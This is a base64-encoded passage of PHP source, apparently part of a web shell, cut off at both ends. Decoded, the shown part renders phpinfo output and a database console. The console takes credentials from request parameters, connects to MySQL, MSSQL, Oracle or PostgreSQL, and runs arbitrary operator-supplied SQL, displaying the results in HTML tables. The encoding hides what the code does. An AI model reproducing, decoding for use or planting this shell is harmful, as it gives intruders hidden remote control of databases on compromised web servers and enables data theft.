IDstKQogICAgJHogPSBzdHJwb3MoJGIsIjwvYm9keT4iKTsKICAgICRzX3Jlc3VsdCA9ICI8ZGl2 IGNsYXNzPVwicGhwaW5mb1wiPiIuc3Vic3RyKCRiLCRhLCR6LSRhKS4iPC9kaXY+IjsKICB9IC8v IHdvcmtpbmcgd2l0aCBkYXRhYmFzZQogIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ2RiJ10pKXsK ICAgICRzcWxob3N0ID0gJHNxbGhvc3QxID0gJHNxbGhvc3QyID0gJHNxbGhvc3QzID0gJHNxbGhv c3Q0ID0gJ2xvY2FsaG9zdCc7CiAgICAkc3FsdXNlciA9ICRzcWx1c2VyMSA9ICRzcWx1c2VyMiA9 ICRzcWx1c2VyMyA9ICRzcWx1c2VyNCA9ICRvZGJjdXNlciA9ICRvZGJjZHNuID0gJHBkb2RzbiA9 ICRwZG91c2VyID0gJyc7CiAgICAkc3FscG9ydCA9ICRzcWxwb3J0MSA9ICRzcWxwb3J0MiA9ICRz cWxwb3J0MyA9ICRzcWxwb3J0NCA9ICcnOwogICAgJHNxbHBhc3MgPSAkc3FscGFzczEgPSAkc3Fs cGFzczIgPSAkc3FscGFzczMgPSAkc3FscGFzczQgPSAkb2RiY3Bhc3MgPSAkcGRvcGFzcyA9ICcn OwoKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnbXlzcWxjb24nXSkmJmlzc2V0KCRfUkVRVUVTVFsn c3FsaG9zdDEnXSkpICRzcWxob3N0ID0gJHNxbGhvc3QxID0gc3MoJF9SRVFVRVNUWydzcWxob3N0 MSddKTsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnbXNzcWxjb24nXSkmJmlzc2V0KCRfUkVRVUVT VFsnc3FsaG9zdDInXSkpICRzcWxob3N0ID0gJHNxbGhvc3QyID0gc3MoJF9SRVFVRVNUWydzcWxo b3N0MiddKTsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsncGdzcWxjb24nXSkmJmlzc2V0KCRfUkVR VUVTVFsnc3FsaG9zdDMnXSkpICRzcWxob3N0ID0gJHNxbGhvc3QzID0gc3MoJF9SRVFVRVNUWydz cWxob3N0MyddKTsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnb3JhY2xlY29uJ10pJiZpc3NldCgk X1JFUVVFU1RbJ3NxbGhvc3Q0J10pKSAkc3FsaG9zdCA9ICRzcWxob3N0NCA9IHNzKCRfUkVRVUVT VFsnc3FsaG9zdDQnXSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ29kYmNjb24nXSkmJmlzc2V0 KCRfUkVRVUVTVFsnb2RiY2RzbiddKSkgJG9kYmNkc24gPSBzcygkX1JFUVVFU1RbJ29kYmNkc24n XSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3Bkb2NvbiddKSYmaXNzZXQoJF9SRVFVRVNUWydw ZG9kc24nXSkpICRwZG9kc24gPSBzcygkX1JFUVVFU1RbJ3Bkb2RzbiddKTsKICAgIGlmKGlzc2V0 KCRfUkVRVUVTVFsnc3FsaG9zdCddKSkgJHNxbGhvc3QgPSBzcygkX1JFUVVFU1RbJ3NxbGhvc3Qn XSk7CgogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydteXNxbGNvbiddKSYmaXNzZXQoJF9SRVFVRVNU WydzcWx1c2VyMSddKSkgJHNxbHVzZXIgPSAkc3FsdXNlcjEgPSBzcygkX1JFUVVFU1RbJ3NxbHVz ZXIxJ10pOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydtc3NxbGNvbiddKSYmaXNzZXQoJF9SRVFV RVNUWydzcWx1c2VyMiddKSkgJHNxbHVzZXIgPSAkc3FsdXNlcjIgPSBzcygkX1JFUVVFU1RbJ3Nx bHVzZXIyJ10pOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydwZ3NxbGNvbiddKSYmaXNzZXQoJF9S RVFVRVNUWydzcWx1c2VyMyddKSkgJHNxbHVzZXIgPSAkc3FsdXNlcjMgPSBzcygkX1JFUVVFU1Rb J3NxbHVzZXIzJ10pOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydvcmFjbGVjb24nXSkmJmlzc2V0 KCRfUkVRVUVTVFsnc3FsdXNlcjQnXSkpICRzcWx1c2VyID0gJHNxbHVzZXI0ID0gc3MoJF9SRVFV RVNUWydzcWx1c2VyNCddKTsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnb2RiY2NvbiddKSYmaXNz ZXQoJF9SRVFVRVNUWydvZGJjdXNlciddKSkgJG9kYmN1c2VyID0gc3MoJF9SRVFVRVNUWydvZGJj dXNlciddKTsKICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsncGRvY29uJ10pJiZpc3NldCgkX1JFUVVF U1RbJ3Bkb3VzZXInXSkpICRwZG91c2VyID0gc3MoJF9SRVFVRVNUWydwZG91c2VyJ10pOwogICAg aWYoaXNzZXQoJF9SRVFVRVNUWydzcWx1c2VyJ10pKSAkc3FsdXNlciA9IHNzKCRfUkVRVUVTVFsn c3FsdXNlciddKTsKCiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ215c3FsY29uJ10pJiZpc3NldCgk X1JFUVVFU1RbJ3NxbHBvcnQxJ10pKSAkc3FscG9ydCA9ICRzcWxwb3J0MSA9IHNzKCRfUkVRVUVT VFsnc3FscG9ydDEnXSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ21zc3FsY29uJ10pJiZpc3Nl dCgkX1JFUVVFU1RbJ3NxbHBvcnQyJ10pKSAkc3FscG9ydCA9ICRzcWxwb3J0MiA9IHNzKCRfUkVR VUVTVFsnc3FscG9ydDInXSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ3Bnc3FsY29uJ10pJiZp c3NldCgkX1JFUVVFU1RbJ3NxbHBvcnQzJ10pKSAkc3FscG9ydCA9ICRzcWxwb3J0MyA9IHNzKCRf UkVRVUVTVFsnc3FscG9ydDMnXSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1RbJ29yYWNsZWNvbidd KSYmaXNzZXQoJF9SRVFVRVNUWydzcWxwb3J0NCddKSkgJHNxbHBvcnQgPSAkc3FscG9ydDQgPSBz cygkX1JFUVVFU1RbJ3NxbHBvcnQ0J10pOwogICAgaWYoaXNzZXQoJF9SRVFVRVNUWydzcWxwb3J0 J10pKSAkc3FscG9ydCA9IHNzKCRfUkVRVUVTVFsnc3FscG9ydCddKTsKCiAgICBpZihpc3NldCgk X1JFUVVFU1RbJ215c3FsY29uJ10pJiZpc3NldCgkX1JFUVVFU1RbJ3NxbHBhc3MxJ10pKSAkc3Fs cGFzcyA9ICRzcWxwYXNzMSA9IHNzKCRfUkVRVUVTVFsnc3FscGFzczEnXSk7CiAgICBpZihpc3Nl dCgkX1JFUVVFU1RbJ21zc3FsY29uJ10pJiZpc3NldCgkX1JFUVVFU1RbJ3NxbHBhc3MyJ10pKSAk c3FscGFzcyA9ICRzcWxwYXNzMiA9IHNzKCRfUkVRVUVTVFsnc3FscGFzczInXSk7CiAgICBpZihp c3NldCgkX1JFUVVFU1RbJ3Bnc3FsY29uJ10pJiZpc3NldCgkX1JFUVVFU1RbJ3NxbHBhc3MzJ10p KSAkc3FscGFzcyA9ICRzcWxwYXNzMyA9IHNzKCRfUkVRVUVTVFsnc3FscGFzczMnXSk7CiAgICBp Zihpc3NldCgkX1JFUVVFU1RbJ29yYWNsZWNvbiddKSYmaXNzZXQoJF9SRVFVRVNUWydzcWxwYXNz NCddKSkgJHNxbHBhc3MgPSAkc3FscGFzczQgPSBzcygkX1JFUVVFU1RbJ3NxbHBhc3M0J10pOwog ICAgaWYoaXNzZXQoJF9SRVFVRVNUWydvZGJjY29uJ10pJiZpc3NldCgkX1JFUVVFU1RbJ29kYmNw YXNzJ10pKSAkb2RiY3Bhc3MgPSBzcygkX1JFUVVFU1RbJ29kYmNwYXNzJ10pOwogICAgaWYoaXNz ZXQoJF9SRVFVRVNUWydwZG9jb24nXSkmJmlzc2V0KCRfUkVRVUVTVFsncGRvcGFzcyddKSkgJHBk b3Bhc3MgPSBzcygkX1JFUVVFU1RbJ3Bkb3Bhc3MnXSk7CiAgICBpZihpc3NldCgkX1JFUVVFU1Rb J3NxbHBhc3MnXSkmJmlzc2V0KCRfUkVRVUVTVFsnc3FscGFzcyddKSkgJHNxbHBhc3MgPSBzcygk X1JFUVVFU1RbJ3NxbHBhc3MnXSk7CgogICAgJHNxbHMgPSAiIjsKICAgICRxX3Jlc3VsdCA9ICIi OwogICAgJGhvc3RhbmRwb3J0ID0gJHNxbGhvc3Q7CiAgICBpZih0cmltKCRzcWxwb3J0KSE9IiIp ICRob3N0YW5kcG9ydCA9ICRzcWxob3N0LiI6Ii4kc3FscG9ydDsKCiAgICBpZihpc3NldCgkX1JF UVVFU1RbJ215c3FsY29uJ10pICYmICgkY29uID0gbXlzcWxfY29ubmVjdCgkaG9zdGFuZHBvcnQs JHNxbHVzZXIsJHNxbHBhc3MpKSl7CiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnc3FsY29kZSdd KSl7CiAgICAgICAgJHNxbHMgPSBzcygkX1JFUVVFU1RbJ3NxbGNvZGUnXSk7CiAgICAgICAgJHF1 ZXJ5cyA9IGV4cGxvZGUoIjsiLCRzcWxzKTsKCiAgICAgICAgZm9yZWFjaCgkcXVlcnlzIGFzICRx dWVyeSl7CiAgICAgICAgICBpZih0cmltKCRxdWVyeSkgIT0gIiIpewogICAgICAgICAgJGhhc2ls ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsKICAgICAgICAgIGlmKCRoYXNpbCl7CiAgICAgICAgICAg ICRxX3Jlc3VsdCAuPSAiPHAgc3R5bGU9XCJwYWRkaW5nOjA7bWFyZ2luOjIwcHggNnB4IDAgNnB4 O1wiPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7CiAgICAgICAgICAgIDxzcGFuIGNsYXNz PVwiZ2F5YVwiPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPl08L3NwYW4+PC9wPgog ICAgICAgICAgICA8dGFibGUgY2xhc3M9XCJleHBsb3JlXCIgc3R5bGU9XCJ3aWR0aDo5OSU7XCI+ PHRyPiI7CiAgICAgICAgICAgIGZvcigkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJGhhc2lsKTsk aSsrKQogICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHRoPiIuaHRtbHNwZWNpYWxjaGFycyht eXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7CiAgICAgICAgICAgICRxX3Jlc3Vs dCAuPSAiPC90cj4iOwogICAgICAgICAgICB3aGlsZSgkcm93cz1teXNxbF9mZXRjaF9hcnJheSgk aGFzaWwpKXsKICAgICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjx0cj4iOwogICAgICAgICAgICAg IGZvcigkaj0wOyRqPG15c3FsX251bV9maWVsZHMoJGhhc2lsKTskaisrKQogICAgICAgICAgICAg IHsKICAgICAgICAgICAgICAgIGlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiAiOwogICAg ICAgICAgICAgICAgZWxzZSAkZGF0YXogPSAkcm93c1skal07CiAgICAgICAgICAgICAgICAkcV9y ZXN1bHQgLj0gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoJGRhdGF6KS4iPC90ZD4iOwogICAgICAg ICAgICAgIH0KICAgICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjwvdHI+IjsKICAgICAgICAgICAg fQogICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjwvdGFibGU+IjsKICAgICAgICAgIH0KICAgICAg ICAgIGVsc2UgJHFfcmVzdWx0IC49ICI8cCBzdHlsZT1cInBhZGRpbmc6MDttYXJnaW46MjBweCA2 cHggMCA2cHg7XCI+Ii4kcXVlcnkuIjsmbmJzcDsmbmJzcDsmbmJzcDsKICAgICAgICAgICAgICA8 c3BhbiBjbGFzcz1cImdheWFcIj5bPC9zcGFuPiBlcnJvciA8c3BhbiBjbGFzcz1cImdheWFcIj5d PC9zcGFuPjwvcD4iOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgICBlbHNlICRz cWxzID0gIlNIT1cgZGF0YWJhc2VzOyI7CgogICAgICAkc19yZXN1bHQgLj0gIiAgPGZvcm0gYWN0 aW9uPVwiIiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9kYlwiIG1ldGhvZD1cInBvc3RcIj4K ICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbGhvc3RcIiB2YWx1ZT1c IiIuJHNxbGhvc3QuIlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJzcWx1c2VyXCIgdmFsdWU9XCIiLiRzcWx1c2VyLiJcIiAvPgogICAgICAgICAgPGlucHV0IHR5 cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FscG9ydFwiIHZhbHVlPVwiIi4kc3FscG9ydC4iXCIgLz4K ICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbHBhc3NcIiB2YWx1ZT1c IiIuJHNxbHBhc3MuIlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICA8dGV4dGFyZWEgaWQ9XCJzcWxj b2RlXCIgbmFtZT1cInNxbGNvZGVcIiBjbGFzcz1cImV2YWxjb2RlXCIgc3R5bGU9XCJoZWlnaHQ6 MTBlbTtcIj4iLiRzcWxzLiI8L3RleHRhcmVhPgogICAgICAgICAgPHA+PGlucHV0IHR5cGU9XCJz dWJtaXRcIiBuYW1lPVwibXlzcWxjb25cIiBjbGFzcz1cImlucHV0emJ1dFwiIHZhbHVlPVwiR28g IVwiIHN0eWxlPVwid2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7XCIgLz4KICAgICAgICAgICZuYnNw OyZuYnNwO1NlcGFyYXRlIG11bHRpcGxlIGNvbW1hbmRzIHdpdGggYSBzZW1pY29sb24gIDxzcGFu IGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IDsgPHNwYW4gY2xhc3M9XCJnYXlhXCI+XTwvc3Bhbj48 L3A+CiAgICAgICAgICA8L2Zvcm0+IjsKICAgICAgJHNfcmVzdWx0IC49ICI8ZGl2PiIuJHFfcmVz dWx0LiI8L2Rpdj4iOwogICAgICBpZigkY29uKSBteXNxbF9jbG9zZSgkY29uKTsKICAgIH0KICAg IGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ21zc3FsY29uJ10pICYmICgkY29uID0gbXNzcWxfY29u bmVjdCgkaG9zdGFuZHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKSl7CiAgICAgIGlmKGlzc2V0KCRf UkVRVUVTVFsnc3FsY29kZSddKSl7CiAgICAgICAgJHNxbHMgPSBzcygkX1JFUVVFU1RbJ3NxbGNv ZGUnXSk7CiAgICAgICAgJHF1ZXJ5cyA9IGV4cGxvZGUoIjsiLCRzcWxzKTsKCiAgICAgICAgZm9y ZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7CiAgICAgICAgICBpZih0cmltKCRxdWVyeSkgIT0gIiIp ewogICAgICAgICAgJGhhc2lsID0gbXNzcWxfcXVlcnkoJHF1ZXJ5KTsKICAgICAgICAgIGlmKCRo YXNpbCl7CiAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHAgc3R5bGU9XCJwYWRkaW5nOjA7bWFy Z2luOjIwcHggNnB4IDAgNnB4O1wiPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7CiAgICAg ICAgICAgIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IG9rIDxzcGFuIGNsYXNzPVwiZ2F5 YVwiPl08L3NwYW4+PC9wPgogICAgICAgICAgICA8dGFibGUgY2xhc3M9XCJleHBsb3JlXCIgc3R5 bGU9XCJ3aWR0aDo5OSU7XCI+PHRyPiI7CiAgICAgICAgICAgIGZvcigkaT0wOyRpPG1zc3FsX251 bV9maWVsZHMoJGhhc2lsKTskaSsrKQogICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHRoPiIu aHRtbHNwZWNpYWxjaGFycyhtc3NxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7CiAg ICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90cj4iOwogICAgICAgICAgICB3aGlsZSgkcm93cz1t c3NxbF9mZXRjaF9hcnJheSgkaGFzaWwpKXsKICAgICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjx0 cj4iOwogICAgICAgICAgICAgIGZvcigkaj0wOyRqPG1zc3FsX251bV9maWVsZHMoJGhhc2lsKTsk aisrKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmKCRyb3dzWyRqXSA9PSAiIikg JGRhdGF6ID0gIiAiOwogICAgICAgICAgICAgICAgZWxzZSAkZGF0YXogPSAkcm93c1skal07CiAg ICAgICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoJGRhdGF6 KS4iPC90ZD4iOwogICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjwv dHI+IjsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcV9yZXN1bHQgLj0gIjwvdGFibGU+IjsK ICAgICAgICAgIH0KICAgICAgICAgIGVsc2UgJHFfcmVzdWx0IC49ICI8cCBzdHlsZT1cInBhZGRp bmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7XCI+Ii4kcXVlcnkuIjsmbmJzcDsmbmJzcDsmbmJz cDsKICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImdheWFcIj5bPC9zcGFuPiBlcnJvciA8c3Bh biBjbGFzcz1cImdheWFcIj5dPC9zcGFuPjwvcD4iOwogICAgICAgICAgfQogICAgICAgIH0KICAg ICAgfQogICAgICBlbHNlICRzcWxzID0gIkVYRUMgc3BfZGF0YWJhc2VzOyI7CgogICAgICAkc19y ZXN1bHQgLj0gIiAgPGZvcm0gYWN0aW9uPVwiIiAuICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9k YlwiIG1ldGhvZD1cInBvc3RcIj4KICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt ZT1cInNxbGhvc3RcIiB2YWx1ZT1cIiIuJHNxbGhvc3QuIlwiIC8+CiAgICAgICAgICA8aW5wdXQg dHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWx1c2VyXCIgdmFsdWU9XCIiLiRzcWx1c2VyLiJcIiAv PgogICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FscG9ydFwiIHZhbHVl PVwiIi4kc3FscG9ydC4iXCIgLz4KICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFt ZT1cInNxbHBhc3NcIiB2YWx1ZT1cIiIuJHNxbHBhc3MuIlwiIC8+CiAgICAgICAgICA8aW5wdXQg dHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAg ICA8dGV4dGFyZWEgaWQ9XCJzcWxjb2RlXCIgbmFtZT1cInNxbGNvZGVcIiBjbGFzcz1cImV2YWxj b2RlXCIgc3R5bGU9XCJoZWlnaHQ6MTBlbTtcIj4iLiRzcWxzLiI8L3RleHRhcmVhPgogICAgICAg ICAgPHA+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwibXNzcWxjb25cIiBjbGFzcz1cImlu cHV0emJ1dFwiIHZhbHVlPVwiR28gIVwiIHN0eWxlPVwid2lkdGg6MTIwcHg7aGVpZ2h0OjMwcHg7 XCIgLz4KICAgICAgICAgICZuYnNwOyZuYnNwO1NlcGFyYXRlIG11bHRpcGxlIGNvbW1hbmRzIHdp dGggYSBzZW1pY29sb24gIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IDsgPHNwYW4gY2xh c3M9XCJnYXlhXCI+XTwvc3Bhbj48L3A+CiAgICAgICAgICA8L2Zvcm0+IjsKICAgICAgJHNfcmVz dWx0IC49ICI8ZGl2PiIuJHFfcmVzdWx0LiI8L2Rpdj4iOwogICAgICBpZigkY29uKSBtc3NxbF9j bG9zZSgkY29uKTsKICAgIH0KICAgIGVsc2VpZihpc3NldCgkX1JFUVVFU1RbJ29yYWNsZWNvbidd KSAmJiAoJGNvbiA9IG9jaV9jb25uZWN0KCRzcWx1c2VyLCRzcWxwYXNzLCRob3N0YW5kcG9ydCkp KXsKICAgICAgaWYoaXNzZXQoJF9SRVFVRVNUWydzcWxjb2RlJ10pKXsKICAgICAgICAkc3FscyA9 IHNzKCRfUkVRVUVTVFsnc3FsY29kZSddKTsKICAgICAgICAkcXVlcnlzID0gZXhwbG9kZSgiOyIs JHNxbHMpOwoKICAgICAgICBmb3JlYWNoKCRxdWVyeXMgYXMgJHF1ZXJ5KXsKICAgICAgICAgIGlm KHRyaW0oJHF1ZXJ5KSAhPSAiIil7CiAgICAgICAgICAkc3QgPSBvY2lfcGFyc2UoJGNvbiwgJHF1 ZXJ5KTsKICAgICAgICAgIGlmKG9jaV9leGVjdXRlKCRzdCkpewogICAgICAgICAgICAkcV9yZXN1 bHQgLj0gIjxwIHN0eWxlPVwicGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDtcIj4iLiRx dWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOwogICAgICAgICAgICA8c3BhbiBjbGFzcz1cImdheWFc Ij5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz1cImdheWFcIj5dPC9zcGFuPjwvcD4KICAgICAgICAg ICAgPHRhYmxlIGNsYXNzPVwiZXhwbG9yZVwiIHN0eWxlPVwid2lkdGg6OTklO1wiPjx0cj4iOwog ICAgICAgICAgICBmb3IoJGk9MTskaTw9b2NpX251bV9maWVsZHMoJHN0KTskaSsrKQogICAgICAg ICAgICAgICRxX3Jlc3VsdCAuPSAiPHRoPiIuaHRtbHNwZWNpYWxjaGFycyhvY2lfZmllbGRfbmFt ZSgkc3QsJGkpKS4iPC90aD4iOwoKICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8L3RyPiI7Cgog ICAgICAgICAgICB3aGlsZSgkcm93cz1vY2lfZmV0Y2hfYXJyYXkoJHN0KSl7CiAgICAgICAgICAg ICAgJHFfcmVzdWx0IC49ICI8dHI+IjsKICAgICAgICAgICAgICBmb3IoJGo9MDskajxvY2lfbnVt X2ZpZWxkcygkc3QpOyRqKyspCiAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgaWYoJHJv d3NbJGpdID09ICIiKSAkZGF0YXogPSAiICI7CiAgICAgICAgICAgICAgICBlbHNlICRkYXRheiA9 ICRyb3dzWyRqXTsKICAgICAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHRkPiIuaHRtbHNwZWNp YWxjaGFycygkZGF0YXopLiI8L3RkPiI7CiAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICRx X3Jlc3VsdCAuPSAiPC90cj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRxX3Jlc3VsdCAu PSAiPC90YWJsZT4iOwogICAgICAgICAgfQogICAgICAgICAgZWxzZSAkcV9yZXN1bHQgLj0gIjxw IHN0eWxlPVwicGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDtcIj4iLiRxdWVyeS4iOyZu YnNwOyZuYnNwOyZuYnNwOwogICAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPls8L3Nw YW4+IGVycm9yIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPl08L3NwYW4+PC9wPiI7CiAgICAgICAgICB9 CiAgICAgICAgfQogICAgICB9CiAgICAgIGVsc2UgJHNxbHMgPSAiU0VMRUNUICogRlJPTSB1c2Vy X3RhYmxlc3BhY2VzOyI7CgogICAgICAkc19yZXN1bHQgLj0gIiAgPGZvcm0gYWN0aW9uPVwiIiAu ICRfU0VSVkVSWydQSFBfU0VMRiddIC4gIj9kYlwiIG1ldGhvZD1cInBvc3RcIj4KICAgICAgICAg IDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbGhvc3RcIiB2YWx1ZT1cIiIuJHNxbGhv c3QuIlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWx1c2Vy XCIgdmFsdWU9XCIiLiRzcWx1c2VyLiJcIiAvPgogICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRk ZW5cIiBuYW1lPVwic3FscG9ydFwiIHZhbHVlPVwiIi4kc3FscG9ydC4iXCIgLz4KICAgICAgICAg IDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbHBhc3NcIiB2YWx1ZT1cIiIuJHNxbHBh c3MuIlwiIC8+CiAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkXCIgdmFs dWU9XCIiLiRwd2QuIlwiIC8+CiAgICAgICAgICA8dGV4dGFyZWEgaWQ9XCJzcWxjb2RlXCIgbmFt ZT1cInNxbGNvZGVcIiBjbGFzcz1cImV2YWxjb2RlXCIgc3R5bGU9XCJoZWlnaHQ6MTBlbTtcIj4i LiRzcWxzLiI8L3RleHRhcmVhPgogICAgICAgICAgPHA+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiBu YW1lPVwib3JhY2xlY29uXCIgY2xhc3M9XCJpbnB1dHpidXRcIiB2YWx1ZT1cIkdvICFcIiBzdHls ZT1cIndpZHRoOjEyMHB4O2hlaWdodDozMHB4O1wiIC8+CiAgICAgICAgICAmbmJzcDsmbmJzcDtT ZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNvbG9uICA8c3BhbiBjbGFzcz1c ImdheWFcIj5bPC9zcGFuPiA7IDxzcGFuIGNsYXNzPVwiZ2F5YVwiPl08L3NwYW4+PC9wPgogICAg ICAgICAgPC9mb3JtPiI7CiAgICAgICRzX3Jlc3VsdCAuPSAiPGRpdj4iLiRxX3Jlc3VsdC4iPC9k aXY+IjsKICAgICAgaWYoJGNvbikgb2NpX2Nsb3NlKCRjb24pOwogICAgfQogICAgZWxzZWlmKGlz c2V0KCRfUkVRVUVTVFsncGdzcWxjb24nXSkgJiYgKCRjb24gPSBwZ19jb25uZWN0KCJob3N0PSRz cWxob3N0IHVzZXI9JHNxbHVzZXIgcGFzc3dvcmQ9JHNxbHBhc3MgcG9ydD0kc3FscG9ydCIpKSl7 CiAgICAgIGlmKGlzc2V0KCRfUkVRVUVTVFsnc3FsY29kZSddKSl7CiAgICAgICAgJHNxbHMgPSBz cygkX1JFUVVFU1RbJ3NxbGNvZGUnXSk7CiAgICAgICAgJHF1ZXJ5cyA9IGV4cGxvZGUoIjsiLCRz cWxzKTsKCiAgICAgICAgZm9yZWFjaCgkcXVlcnlzIGFzICRxdWVyeSl7CiAgICAgICAgICBpZih0 cmltKCRxdWVyeSkgIT0gIiIpewogICAgICAgICAgJGhhc2lsID0gcGdfcXVlcnkoJHF1ZXJ5KTsK ICAgICAgICAgIGlmKCRoYXNpbCl7CiAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPHAgc3R5bGU9 XCJwYWRkaW5nOjA7bWFyZ2luOjIwcHggNnB4IDAgNnB4O1wiPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5i c3A7Jm5ic3A7CiAgICAgICAgICAgIDxzcGFuIGNsYXNzPVwiZ2F5YVwiPls8L3NwYW4+IG9rIDxz cGFuIGNsYXNzPVwiZ2F5YVwiPl08L3NwYW4+PC9wPgogICAgICAgICAgICA8dGFibGUgY2xhc3M9 XCJleHBsb3JlXCIgc3R5bGU9XCJ3aWR0aDo5OSU7XCI+PHRyPiI7CiAgICAgICAgICAgIGZvcigk aT0wOyRpPHBnX251bV9maWVsZHMoJGhhc2lsKTskaSsrKQogICAgICAgICAgICAgICRxX3Jlc3Vs dCAuPSAiPHRoPiIuaHRtbHNwZWNpYWxjaGFycyhwZ19maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8 L3RoPiI7CiAgICAgICAgICAgICRxX3Jlc3VsdCAuPSAiPC90cj4iOwoKICAgICAgICAgICAgd2hp bGUoJHJvd3M9cGdfZmV0Y2hfYXJyYXkoJGhhc2lsKSl7CiAgICAgICAgICAgICAgJHFfcmVzdWx0 IC49ICI8dHI+IjsKICAgICAgICAgICAgICBmb3IoJGo9MDskajxwZ19udW1fZmllbGRzKCRoYXNp bCk7JGorKykKICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZigkcm93c1skal0gPT0g IiIpICRkYXRheiA9ICIgIjsKICAgICAgICAgICAgICAgIGVsc2UgJGRhdGF6ID0gJHJvd3NbJGpd OwogICAgICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8dGQ+Ii5odG1sc3BlY2lhbGNoYXJzKCRk YXRheikuIjwvdGQ+IjsKICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgJHFfcmVzdWx0IC49 ICI8L3RyPiI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHFfcmVzdWx0IC49ICI8L3RhYmxl 